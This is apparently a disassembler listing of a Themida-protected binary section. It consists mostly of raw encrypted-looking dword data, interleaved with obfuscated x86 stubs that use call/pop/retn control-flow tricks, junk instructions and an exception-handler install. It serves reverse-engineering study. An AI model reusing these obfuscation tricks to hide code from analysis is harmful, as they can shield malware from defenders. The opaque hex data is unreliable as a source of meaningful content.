dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h, 56460000h
dd 2F104DC3h, 0CD18589h, 85330615h, 61519B5h, 0E852006Ah
dd 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 0C2C35242h, 7139A374h
dd 66739AA4h, 5CB7F781h, 0D7BB6690h, 6A905029h, 3E85200h
dd 20000000h, 895AC35Ah, 81042454h, 1D042444h, 42000000h
dd 0A652C352h, 0D355F054h, 3BA8A69Eh, 11E9h, 10C7D300h
dd 0D2A96979h, 3034CAE0h, 5B3A6938h, 6A12EBh, 921BD23h
dd 58680615h, 50ADC7ABh, 4876BF66h, 2404815Bh, 525758A7h
dd 24019529h, 95FF0615h, 6150DADh, 0E852006Ah, 3, 5AC35A20h
dd 4245489h, 4244481h, 15h, 0B6C35242h, 0E5BD8BBDh, 8906150Ch
dd 18BF9985h, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h
dd 1404h, 0C3504000h, 7D8D8997h, 0E9061505h, 151h, 858BFB8Bh
dd 618BF91h, 810CD381h, 0C740E1h, 18h, 2A2D8529h, 8D890615h
dd 6151A05h, 0BF95B58Bh, 0BF0F0618h, 45858BF8h, 0B06150Ch
dd 1504B9BDh, 89FE8B06h, 0CF816606h, 858B7CFDh, 615249Dh
dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 2EC35242h
dd 0D60DE9D3h, 0F79FE43h, 385h, 49F38000h, 89FBB70Fh, 66500446h
dd 896701BBh, 0BF0F2434h, 0DB8166D9h, 0B5FFCFCFh, 618BF91h
dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 16h, 86C35040h
dd 2E68EE10h, 0F1B393Dh, 28Fh, 81F88A00h, 3ED12434h, 6A1B26h
dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1D0424h, 56460000h
dd 4A32DDC3h, 5C433CD0h, 8D67B3D8h, 18BF9985h, 51006A06h
dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1D04h, 0C3514100h
dd 4D5F5564h, 18ADE515h, 10E94EB0h, 58000000h, 42971A69h
dd 378950C6h, 632C14Eh, 9092438Ah, 9050D88Bh, 0DAD95FFh
dd 6A0615h, 3E850h, 58200000h, 448958C3h, 44810424h, 160424h
dd 50400000h, 0E484CFC3h, 80E78166h, 0C38161BDh, 7E942B9h
dd 2EB98589h, 85C70615h, 6151115h, 3, 0E855006Ah, 3, 5DC35D20h
dd 4246C89h, 4244481h, 1Bh, 10C35545h, 7D4E7B03h, 8B332880h
dd 151005BDh, 99BD8306h, 618BFh, 20840Fh, 0E9530000h, 8
dd 8EF9DC28h, 0BB7CCFAAh, 0B589515Fh, 6152DE9h, 1FE95Fh
dd 0BF660000h, 3050F260h, 4400110Ch, 0E8C10111h, 11443010h
dd 114C0002h, 0E9835803h, 0EBE77504h, 4305036h, 11640011h
dd 10E8C101h, 2114430h, 3116400h, 4E98358h, 1BEBE775h
dd 10E8C150h, 3116428h, 2114430h, 11642858h, 11043001h
dd 7504E983h, 8B00EBE7h, 6AF5C0h, 3E850h, 58200000h, 448958C3h
dd 44810424h, 180424h, 50400000h, 4DE913C3h, 0FEBF3C6Fh
dd 837C9B1Ch, 151115BDh, 850F0306h, 444h, 0E853006Ah, 3
dd 5BC35B20h, 4245C89h, 4244481h, 18h, 0F6C35343h, 0BD21A1FBh
dd 10FD8D89h, 0BD830615h, 618BF99h, 11840F00h, 6A000004h
dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 19042444h
dd 41000000h, 0F545C351h, 0B97F8693h, 2B159D8Bh, 0B5FF0615h
dd 618BF99h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
dd 4244481h, 1Ah, 8AC35747h, 0B1F39B5Bh, 0BD2B5DA7h, 61525C5h
dd 26359531h, 95FF0615h, 61510E1h, 9573BB66h, 0BF8DB58Bh
dd 9D030618h, 6150679h, 106C7h, 9D310001h, 61504E5h, 6FBF5096h
dd 9645BF59h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
dd 18h, 52C35040h, 405C8B6Fh, 1449BD09h, 0BE90615h, 45000000h
dd 0D88EB7A2h, 6CBC6AA5h, 0B5FFAAD9h, 618BF99h, 0FF25D780h
dd 1506A195h, 9D895606h, 615006Dh, 8DB58B5Bh, 6A0618BFh
dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 18042444h
dd 46000000h, 0F3C9C356h, 0F018C7Fh, 680h, 0D6EB8100h
dd 812683A8h, 22AE98C7h, 59858B73h, 6A061500h, 3E85300h
dd 20000000h, 895BC35Bh, 8104245Ch, 1C042444h, 43000000h
dd 0AD7FC353h, 85D5D31Ah, 0E9A2E588h, 0Dh, 4581E395h, 3572B953h
dd 0A465D20h, 0C4868974h, 66000000h, 4EACC781h, 2721958Bh
dd 8B600615h, 150C89B5h, 95BD8B06h, 61061523h, 0F804C283h
dd 6A205089h, 3E85100h, 20000000h, 8959C359h, 8104244Ch
dd 1A042444h, 41000000h, 7E8CC351h, 13C697BEh, 619D8B1Bh
dd 8D061500h, 18D45885h, 0E99D8B06h, 89061503h, 0B886h
dd 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1704h
dd 0C3564600h, 19AA6880h, 22F59D89h, 0DD8A0615h, 8B66006Ah
dd 99B5FFFEh, 6A0618BFh, 3E85500h, 20000000h, 895DC35Dh
dd 8104246Ch, 15042444h, 45000000h, 2BEAC355h, 1D4D95FFh
dd 6A0615h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h
dd 56460000h, 6116B1C3h, 3B008F8Dh, 2E119D8Bh, 89500615h
dd 0BD232434h, 61507E5h, 0BF99B5FFh, 6A0618h, 3E855h, 5D200000h
dd 6C895DC3h, 44810424h, 1A0424h, 55450000h, 3B8D55C3h
dd 0BFF59958h, 72995FFh, 6A0615h, 3E855h, 5D200000h, 6C895DC3h
dd 44810424h, 170424h, 55450000h, 2AC01EC3h, 65BD3352h
dd 0BF06150Dh, 1F9DA145h, 65BD83h, 0F000615h, 4184h, 53006A00h
dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1D04h, 0C3534300h
dd 0D84DC8DCh, 585901Ah, 85314BB7h, 61518E5h, 7A6EBB66h
dd 2B57BB96h, 565007CBh, 965BCCB3h, 3429BD8Bh, 0B5FF0615h
dd 618BF99h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
dd 1Dh, 11C35040h, 2D6759A5h, 608AE520h, 13BB6643h, 3995FF0Dh
dd 6A061504h, 3E85000h, 20000000h, 8958C358h, 81042444h
dd 19042444h, 40000000h, 9DCAC350h, 0DBA38E90h, 0FFD8B70Fh
dd 18BF99B5h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
dd 1504h, 0C3554500h, 95FF5363h, 6150DCDh, 2F6D9D01h, 0BD830615h
dd 615285Dh, 7D840F02h, 6A000000h, 3E85700h, 20000000h
dd 895FC35Fh, 8104247Ch, 18042444h, 47000000h, 4EC357h
dd 0F496A40h, 1984h, 14E900h, 0DCC70000h, 5999A46Eh, 0BEE58CA3h
dd 17698F4Ch, 1F16B7BAh, 0F568A2Ch, 8B5BDAB7h, 15284985h
dd 38B0F06h, 0F000000h, 0C6D9B7h, 52006A00h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1904h, 0C3524200h, 1ECEDD81h
dd 0F781F8E5h, 81EE912h, 23F585C7h, 615h, 6A0000h, 3E856h
dd 5E200000h, 74895EC3h, 44810424h, 180424h, 56460000h
dd 5B9EEEC3h, 0D98B694Fh, 0FFF432E9h, 52006AFFh, 3E8h
dd 0C35A2000h, 2454895Ah, 24448104h, 1504h, 0C3524200h
dd 0BD8B2B53h, 6152835h, 0BF66C18Bh
db 0Bh, 69h
; ---------------------------------------------------------------------------
loc_5C4EAA: ; DATA XREF: Themida_:0057CDF0o
lea eax, [ebp+615279Dh]
push 0
push ebp
call sub_5C4EBB
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C4EBB proc near ; CODE XREF: Themida_:005C4EB3p
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 1Dh
inc ebp
push ebp
retn
sub_5C4EBB endp
; ---------------------------------------------------------------------------
mov word ptr [ecx-1C3B7C74h], fs
cmpsb
sbb ebp, [esi+69h]
pusha
xor [ebp+615251Dh], eax
jno loc_5C4EE8
mov [ebp+6153001h], eax
loc_5C4EE8: ; CODE XREF: Themida_:005C4EDCj
popa
nop
pusha
mov ebx, edx
pusha
mov edx, 5ED21DB5h
popa
popa
push eax
mov bh, 0F4h
nop
push 0
push edx
call sub_5C4F04
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C4F04 proc near ; CODE XREF: Themida_:005C4EFCp
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 15h
inc edx
push edx
retn
sub_5C4F04 endp
; ---------------------------------------------------------------------------
dd 9531870Fh, 6151821h, 0DB81006Ah, 516219BBh, 6A006Ah
dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h, 51410000h
dd 85895EC3h, 6152249h, 0B6D2858Dh, 6A0619h, 3E850h, 58200000h
dd 448958C3h, 44810424h, 140424h, 50400000h, 0C08323C3h
dd 11E805h, 1C8C0000h, 0F6500DEBh, 8384CC9Bh, 8C1043Ch
dd 66E523CEh, 5BF49ABFh, 6A905090h, 3E85100h, 20000000h
dd 8959C359h, 8104244Ch, 17042444h, 41000000h, 0E5E3C351h
dd 8509666Bh, 61500E1h, 2F559589h, 6A0615h, 0E853006Ah
dd 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 0DAC35343h, 12E97B6Ah
dd 0CF000000h, 6FDBBF29h, 2D585FBAh, 787A6F1Bh, 2FAA6E4Ah
dd 0F781667Ah, 6AE6D3h, 20D5BD8Bh, 95FF0615h, 6152679h
dd 161DB589h, 8D8D0615h, 6189C15h, 0E853006Ah, 3, 5BC35B20h
dd 4245C89h, 4244481h, 1Ch, 0CDC35343h, 1D3977ABh, 0C5DB0D0Ch
dd 6AD1FFh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1D0424h
dd 56460000h, 3544F7C3h, 600CFAC2h, 290940F5h, 152EFD9Dh
dd 0B5BD8306h, 106152Dh, 97850Fh, 6A0000h, 3E852h, 5A200000h
dd 54895AC3h, 44810424h, 150424h, 52420000h, 8B2FA6C3h
dd 0FB8B66DEh, 6A026Ah, 3E856h, 5E200000h, 74895EC3h, 44810424h
dd 190424h, 56460000h, 864EE2C3h, 8B1881CCh, 1505DDBDh
dd 8BBF6606h, 4895057h, 57006A24h, 3E8h, 0C35F2000h, 247C895Fh
dd 24448104h, 1704h, 0C3574700h, 22024028h, 0F320F781h
dd 0BB664EB5h, 0AE9ECEEh, 0F7000000h, 59BF37B0h, 1125E359h
dd 4D95FF43h, 8B06151Dh, 150A4DBDh, 0DC4E906h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_5C5106: ; DATA XREF: Themida_:00579B10o
call $+5
pop ebp
sub ebp, 619B6DCh
push 0
push edx
call sub_5C511D
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C511D proc near ; CODE XREF: Themida_:005C5115p
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 16h
inc edx
push edx
retn
sub_5C511D endp
; ---------------------------------------------------------------------------
pop esi
sbb bl, cl
mov edi, [ebp+61526C9h]
jmp loc_5C5143
; ---------------------------------------------------------------------------
db 0BFh
dd 7D8FA095h
db 17h, 6Eh, 0EDh
; ---------------------------------------------------------------------------
loc_5C5143: ; CODE XREF: Themida_:005C5136j
lea eax, [ebp+61888F9h]
push eax
mov [esp], eax
push 0
push ebp
call sub_5C5158
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C5158 proc near ; CODE XREF: Themida_:005C5150p
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 18h
inc ebp
push ebp
retn
sub_5C5158 endp
; ---------------------------------------------------------------------------
dd 0BE1AC69Ch, 8E91Bh, 0DB60000h, 466F976Dh, 0FF6456F4h
dd 35h, 820F6000h, 2, 6461CE8Bh, 2589h, 6A0000h, 3E856h
dd 5E200000h, 74895EC3h, 44810424h, 190424h, 56460000h
dd 8B181EC3h, 89907F67h, 1500618Dh, 29525006h, 15262DBDh
dd 0FF5B5F06h, 15153585h, 6CCF8006h, 0BB66FF6Ah, 0B5FF6C68h
dd 61502B5h, 5870Fh, 8BBB0000h, 0FF09F039h, 1508BD95h
dd 125E906h, 0D7810000h, 9CD6505h, 0E6F500B0h, 0EE870h
dd 71870000h, 72F6E92Ah, 82C654BCh, 51EFE146h, 898D0150h
dd 5F061533h, 6671E45Fh, 3CE252BBh, 0F0830F61h, 2B000000h
dd 1517259Dh, 0C8B60F06h, 6BAFB8Bh, 53000000h, 0F99D8B5Fh
dd 8B06152Ah, 59589C1h, 89061525h, 151E7D85h, 4E8C106h
dd 0F766FAB3h, 599D01E2h, 2B061506h, 0DEBF0FC8h, 0D18BDE8Bh
dd 13E9h, 867B7B00h, 6EAB5E97h, 99191639h, 0F1ED4C04h
dd 7C2BD2E2h, 5E9h, 0F7816600h, 858B5A56h, 6150C8Dh, 6860F60h
dd 31000000h, 1511B9BDh, 8E906h, 82AA0000h, 0AF0A4342h
dd 83614F0Bh, 5BB07C0h, 833FEC0Fh, 8B6600C0h, 0FD03BFBh
dd 2483h, 11E800h, 0D3D80000h, 483E3613h, 6E6199DCh, 37349FD7h
dd 662AC893h, 5F018BBFh, 3AE9h, 0CDBF6600h, 0E58D8B23h
dd 29061515h, 150BB1B5h, 1E18306h, 21840Fh, 31570000h
dd 150D718Dh, 0A5835F06h, 61515E5h, 66D780FEh, 9589DA8Bh
dd 6150C8Dh, 0E9DA8Bh, 8D000000h, 192A47B5h, 11E906h, 0A0450000h
dd 8AA2361Fh, 10EB21C7h, 233B6E9Dh, 66AC0F00h, 6A886ABBh
dd 0FFD98B00h, 152E2195h, 398D8906h, 0B906152Fh, 842h
dd 13E9h, 75A6B500h, 1F64CDE5h, 63270E6Ah, 3BAF3A65h, 55AD6B2h
dd 0E9FCE183h, 6, 0DD80B8AFh, 8BFC4237h, 1506B1BDh, 0B806h
dd 95290000h, 6151391h, 0BAh, 52006A00h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1704h, 0C3524200h, 85F74023h
dd 0DB2BBF66h, 2CDBD8Bh, 33AD0615h, 3E8D1C2h, 4E983D0h
dd 0B70FF475h, 50006ADAh, 3E8h, 0C3582000h, 24448958h
dd 24448104h, 1D04h, 0C3504000h, 706143EFh, 369C88D6h
dd 880D8E11h, 6A000000h, 3E85100h, 20000000h, 8959C359h
dd 8104244Ch, 17042444h, 41000000h, 6B2AC351h, 0BB66AF5Dh
dd 958BFB6Bh, 6152721h, 8E8F88Bh, 0DE000000h, 1999E45Dh
dd 0E8AA83CAh, 10h, 0B0E1E1C0h, 5F059D71h, 0FA0140BDh
dd 0F7D471C9h, 0B204BF66h, 8D8B5B5Bh, 61504CDh, 325BB66h
dd 8BC28B50h, 8BC10318h, 0D1C18B18h, 8BC203E8h, 0BF0F5818h
dd 57006AD9h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1C04h
dd 0C3574700h, 0F54234ACh, 1D48352Ah, 0A9BD83C5h, 61518h
dd 7C840Fh, 14E90000h, 0C3000000h, 0EED2B7C6h, 0D48C44B0h
dd 6A108220h, 3AB19CF9h, 0B82CA453h, 0
; ---------------------------------------------------------------------------
pusha
xor [ebp+6152719h], edi
popa
lea ecx, [ebp+6154F9Eh]
push 0
push eax
call sub_5C54C1
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C54C1 proc near ; CODE XREF: Themida_:005C54B9p
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 18h
inc eax
push eax
retn
sub_5C54C1 endp
; ---------------------------------------------------------------------------
db 0E9h, 14h, 0FAh
dd 0BD8B1A6Eh, 6152D6Dh, 6AE1FFh, 3E856h, 5E200000h, 74895EC3h
dd 44810424h, 140424h, 56460000h, 0FB8B17C3h, 5E9h, 1166EE00h
dd 0BD83149Eh, 6151115h, 78840F00h, 6A000004h, 3E85300h
dd 20000000h, 895BC35Bh, 8104245Ch, 1B042444h, 43000000h
dd 0EB11C353h, 0CCA4F320h, 0E4BF3A5Fh, 836F1DF8h, 151115BDh
dd 840F0106h, 45Eh, 24A59589h, 0BD830615h, 6151115h, 15860F03h
dd 23000004h, 15101D9Dh, 6A6006h, 3E855h, 5D200000h, 6C895DC3h
dd 44810424h, 140424h, 55450000h, 0CE972C3h, 35000000h
dd 6673B013h, 826B61CCh, 0E964F239h, 0Ch, 0C3A61B5Eh, 8EA6DC7Fh
dd 0AA57A119h, 66D98C66h, 0E180D88Bh, 7B6DBF04h, 0C90A3421h
dd 146840Fh, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h
dd 160424h, 51410000h, 172CFAC3h, 13E8h, 3B814100h, 144F505Ch
dd 4F7C6370h, 0F6D4CA80h, 328D82B7h, 59CB8166h, 858B5BE8h
dd 615249Dh, 850EF0BBh, 0B585337Ch, 6A061519h, 3E85100h
dd 20000000h, 8959C359h, 8104244Ch, 1D042444h, 41000000h
dd 0AE56C351h, 0B65CE155h, 0E4738EE0h, 0FFAB70Fh, 8B90FFB7h
dd 0BE950F8h, 47000000h, 9DE1649Fh, 5410A75h, 6A906D0Bh
dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1B042444h
dd 47000000h, 4F2C357h, 0CDBE742Fh, 8589272Fh, 61514D9h
dd 6A006Ah, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h
dd 57470000h, 7A02A8C3h, 0E039009Dh, 3D8589EBh, 31061502h
dd 150BDD9Dh, 0CCAF6806h, 8B661069h, 243481F9h, 1076CF50h
dd 0DE9h, 38FA1600h, 0EB316E73h, 41A00700h, 95FF9343h
dd 6150DADh, 1CF1B589h, 85890615h, 618BF99h, 7C18531h
dd 26E90615h, 6A000002h, 3E85600h, 20000000h, 895EC35Eh
dd 81042474h, 19042444h, 46000000h, 0F5C6C356h, 8C937BD6h
dd 0BF91858Bh, 6A0618h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
dd 160424h, 57470000h, 55EC26C3h, 1800C7h, 51600000h, 16158D29h
dd 665E0615h, 61119EBEh, 0BF95B58Bh, 0E9BF0618h, 8B47436Fh
dd 150C4585h, 0A8E78106h, 8915FB74h, 55006A06h, 3E8h, 0C35D2000h
dd 246C895Dh, 24448104h, 1C04h, 0C3554500h, 8C5F2C0h, 0E2B5E292h
dd 0B503602Eh, 61505B9h, 89619BB2h, 15018DB5h, 9D858B06h
dd 60061524h, 859501F9h, 6106151Dh, 6A044689h, 3E85700h
dd 20000000h, 895FC35Fh, 8104247Ch, 19042444h, 47000000h
dd 0FA1DC357h, 0DD0DA6FDh, 0F525096h, 0A81h, 5E900h, 771E0000h
dd 0FDEAC32h, 0DE8B6631h, 0E950585Ah, 10h, 7B5C14FBh, 0FE0BA0F1h
dd 614F6371h, 0DF3999C4h, 56006A96h, 3E8h, 0C35E2000h
dd 2474895Eh, 24448104h, 1804h, 0C3564600h, 606B2F41h
dd 14E91Ah, 235E0000h, 29E5735h, 2BC81AE0h, 6E271392h
dd 8658B2FDh, 0DE8D226h, 83000000h, 28469B20h, 77F4AD09h
dd 797F4638h, 10E9h, 62E89F00h, 98856514h, 0E5C70E4Ah
dd 57FA8F07h, 0B5FF5F3Dh, 618BF91h, 0D5958B60h, 8106152Ah
dd 0C3BCDFE3h, 9D8B6176h, 615024Dh, 4E8h, 1F03FF00h, 8DB46000h
dd 0BB665061h, 448B7545h, 8A570424h, 8B5BDAh, 8B665250h
dd 5A310FF9h, 24448958h, 61BF6604h, 6A583Bh, 3E856h, 5E200000h
dd 74895EC3h, 44810424h, 160424h, 56460000h, 6C6E34C3h
dd 2435B529h, 858D0615h, 618BF99h, 1E718D09h, 0BF660615h
dd 8B506E06h, 240489DAh, 0E855006Ah, 3, 5DC35D20h, 4246C89h
dd 4244481h, 1Ah, 40C35545h, 8597D33Ch, 7E9D8F2h, 0F000000h
dd 0FF21935Eh, 95FF13BBh, 6150DADh, 0ECF38166h, 8D896190h
dd 6150AA9h, 111585C7h, 30615h, 6A0000h, 3E857h, 5F200000h
dd 7C895FC3h, 44810424h, 150424h, 57470000h, 0F9F489C3h
dd 0BF99BD83h, 0F000618h, 3384h, 51006A00h, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1604h, 0C3514100h, 8B55610Eh
dd 1533A5BDh, 25E906h, 8B600000h, 15010D9Dh, 61C38A06h
dd 110C3050h, 1114400h, 3010E8C1h, 21144h, 5803114Ch, 7504E983h
dd 5036EBE7h, 110430h, 0C1011164h, 443010E8h, 64000211h
dd 83580311h, 0E77504E9h, 0C1501BEBh, 642810E8h, 44300311h
dd 28580211h, 30011164h, 0E9831104h, 0EBE77504h, 6AC08B00h
dd 3E85000h
db 0
byte_5C59C9 db 2 dup(0), 20h ; DATA XREF: Themida_:00579CC4o
; Themida_:0057C730o
; ---------------------------------------------------------------------------
pop eax
retn
; ---------------------------------------------------------------------------
pop eax
mov [esp+4], eax
add dword ptr [esp+4], 19h
inc eax
push eax
retn
; ---------------------------------------------------------------------------
dw 21C5h
dd 6B14A879h, 8BDFB70Fh, 152FA5BDh, 53006A06h, 3E8h, 0C35B2000h
dd 245C895Bh, 24448104h, 1904h, 0C3534300h, 8AD7B348h
dd 0DE904FAh, 2D000000h, 0E065C12Bh, 0CDA93A67h, 67FA3FE0h
dd 1115BD83h, 0F030615h, 47E85h, 56006A00h, 3E8h, 0C35E2000h
dd 2474895Eh, 24448104h, 1704h, 0C3564600h, 2634EC9h, 99BD83F9h
dd 618BFh, 451840Fh, 6A0000h, 3E852h, 5A200000h, 54895AC3h
dd 44810424h, 180424h, 52420000h, 0A84D18C3h, 0B589FDA8h
dd 6151CE5h, 0BF99B5FFh, 6A0618h, 3E852h, 5A200000h, 54895AC3h
dd 44810424h, 160424h, 52420000h, 0A03D31C3h, 1559D8Bh
dd 95FF0615h, 61510E1h, 27199D8Bh, 0B58B0615h, 618BF8Dh
dd 0C7ADD380h, 1000106h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh
dd 24448104h, 1804h, 0C3574700h, 78B83723h, 9E938h, 5C6E0000h
dd 23857E15h, 9603AA6Ah, 0AE9h, 93FD6900h, 0F927B4CEh
dd 50FD0FB7h, 9890Fh, 53600000h, 7270BA5Eh, 9661277Fh
dd 0D1D9D8Bh, 0B5FF0615h, 618BF99h, 0A099D01h, 95890615h
dd 6150479h, 6A195FFh, 5E80615h, 0C000000h, 0B604DB46h
dd 8DB58B5Bh, 6A0618BFh, 3E85300h, 20000000h, 895BC35Bh
dd 8104245Ch, 19042444h, 43000000h, 57D6C353h, 3B1CFC89h
dd 59858Bh, 6A0615h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
dd 150424h, 57470000h, 894D00C3h, 0C486h, 56006A00h, 3E8h
dd 0C35E2000h, 2474895Eh, 24448104h, 1704h, 0C3564600h
dd 0E6C6404Ch, 8B5BF850h, 15272195h, 0AD858906h, 8306152Eh
dd 6A04C2h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1B0424h
dd 56460000h, 5E9786C3h, 16396EABh, 119D8919h, 8906152Dh
dd 6A2050h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1B0424h
dd 56460000h, 3350F0C3h, 0B30C7B29h, 0EE9FBh, 0D5CF0000h
dd 9B78E1D9h, 0E81CDB3Eh, 0AF9AB839h, 0D458858Dh, 6A0618h
dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h, 53430000h
dd 9EA5C4C3h, 0F021AAC0h, 660E3458h, 894880BBh, 0B886h
dd 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1A04h
dd 0C3564600h, 1E57B599h, 6AE56F4Ch, 0FFD88B00h, 18BF99B5h
dd 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1D04h
dd 0C3574700h, 0CA9C5C27h, 9ED13D28h, 5E92854h, 8B000000h
dd 635F0B1Fh, 1D4D95FFh, 0E3810615h, 39CB2A5Ch, 12E86050h
dd 0FB000000h, 0F35B2256h, 3F1E08F1h, 927C5828h, 17F7426Eh
dd 8B665B88h, 348961CEh, 0DFB70F24h, 0BF99B5FFh, 6A0618h
dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h, 51410000h
dd 8C3A70C3h, 0EF8166F2h, 95FFB894h, 6150729h, 65BD83h
dd 0F000615h, 5784h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah
dd 24448104h, 1904h, 0C3524200h, 0B756B66Ah, 9D8BA8E2h
dd 6152D51h, 0E9525096h, 0Bh, 6C1F562Eh, 2500D9F2h, 0F9341D0h
dd 0B7525031h, 0BB310FF5h, 28BAC6FCh, 585A585Ah, 27BF6650h
dd 9D899655h, 61528C5h, 0BF99B5FFh, 6A0618h, 3E851h, 59200000h
dd 4C8959C3h, 44810424h, 1B0424h, 51410000h, 8ADFFEC3h
dd 0B23FE872h, 0B70FF592h, 69BD8BDFh, 0FF061524h, 15043995h
dd 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1904h
dd 0C3504000h, 0D63B535Fh, 0BD8B6331h, 6152709h, 9E9h
dd 2E313B00h, 5E6A0Fh, 0B5FF9430h, 618BF99h, 0E851006Ah
dd 3, 59C35920h, 4244C89h, 4244481h, 19h, 52C35141h, 0A38119AEh
dd 1D8589B4h, 0FF061534h, 150DCD95h, 55006A06h, 3E8h, 0C35D2000h
dd 246C895Dh, 24448104h, 1904h, 0C3554500h, 0A30C0B7Eh
dd 0FE96391h, 0FB000000h, 555F6D05h, 2A3DA358h, 29CB63CDh
dd 0BD835383h, 615285Dh, 24840F02h, 0E9000000h, 0Bh, 64A044C4h
dd 64D430C0h, 8B01F2C4h, 15284985h, 7943BB06h, 0C6052Bh
dd 0C9850100h, 0C706152Dh, 1523F585h, 6, 52006A00h, 3E8h
dd 0C35A2000h, 2454895Ah, 24448104h, 1804h, 0C3524200h
dd 1E07BE6Eh, 458589FCh, 0E9061513h, 0FFFFF31Ch, 0A7FFF781h
dd 0C18B7DBCh, 68F0Fh, 0BD290000h, 6150005h, 25459D09h
dd 858D0615h, 615279Dh, 0E8E62ABBh, 52505053h, 0BE8h, 0B190A600h
dd 694A05C6h, 21A31C04h, 5FF98B66h, 585A310Fh, 6A240489h
dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1A042444h
dd 40000000h, 65CEC350h, 0DD4A71A7h, 6A6EB309h, 56006A00h
dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1B04h, 0C3564600h
dd 0BB2A5B1Bh, 0E37482DCh, 1605BD89h, 6A0615h, 0E855006Ah
dd 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 89C35545h, 858DDD67h
dd 619C635h, 2C759D03h, 0C0830615h, 5090FC05h, 8B0Fh, 66900000h
dd 6A2AA8BFh, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
dd 1C04h, 0C3554500h, 58317D19h, 0A096F0BFh, 0DFB70F06h
dd 22D1BD8Bh, 6A0615h, 0CE4969BBh, 7995FF61h, 8D061526h
dd 189C158Dh, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
dd 1604h, 0C3574700h, 891609D3h, 15179185h, 6296BF06h
dd 0D1FF4258h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
dd 1Bh, 0C9C35343h, 41F8B500h, 8BADA26Bh, 152F899Dh, 0B5BD8306h
dd 106152Dh, 42850Fh, 8B660000h, 89026ADEh, 1520B9B5h
dd 830F5006h, 8, 2890Fh, 0FE8B0000h, 89240489h, 1528A985h
dd 4D95FF06h, 0E906151Dh, 14h, 0F6EBEFDBh, 2A0C649Ch, 0DB9C9BE6h
dd 1D2D126Ah, 5D26DB58h, 0F81E9h, 0E800h, 815D0000h, 19C63FEDh
dd 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1504h
dd 0C3524200h, 160B2A4h, 150821BDh, 25B52906h, 61061511h
dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 0DDC35747h
dd 8973E778h, 150E11BDh, 0F9858D06h, 6A061888h, 3E85000h
dd 20000000h, 8958C358h, 81042444h, 18042444h, 40000000h
dd 0BA49C350h, 0F6A66E9h, 584h, 1068BF00h, 8531377Ah, 6150D71h
dd 0AD25DB81h, 0BB90731Eh, 2530DF59h, 16A4BB50h, 8B905195h
dd 35FF64FAh, 0
; ---------------------------------------------------------------------------
push 0
push ecx
call sub_5C6123
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C6123 proc near ; CODE XREF: Themida_:005C611Bp
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 15h
inc ecx
push ecx
retn
sub_5C6123 endp
; ---------------------------------------------------------------------------
xor [esi], eax
mov large fs:0, esp
clc
inc dword ptr [ebp+6151535h]
mov [ebp+6150765h], edi
loc_5C6149: ; CODE XREF: Themida_:005C6F80j
push 0FFFFFFFFh
push 0
push esi
call sub_5C6156
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C6156 proc near ; CODE XREF: Themida_:005C614Ep
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 1Bh
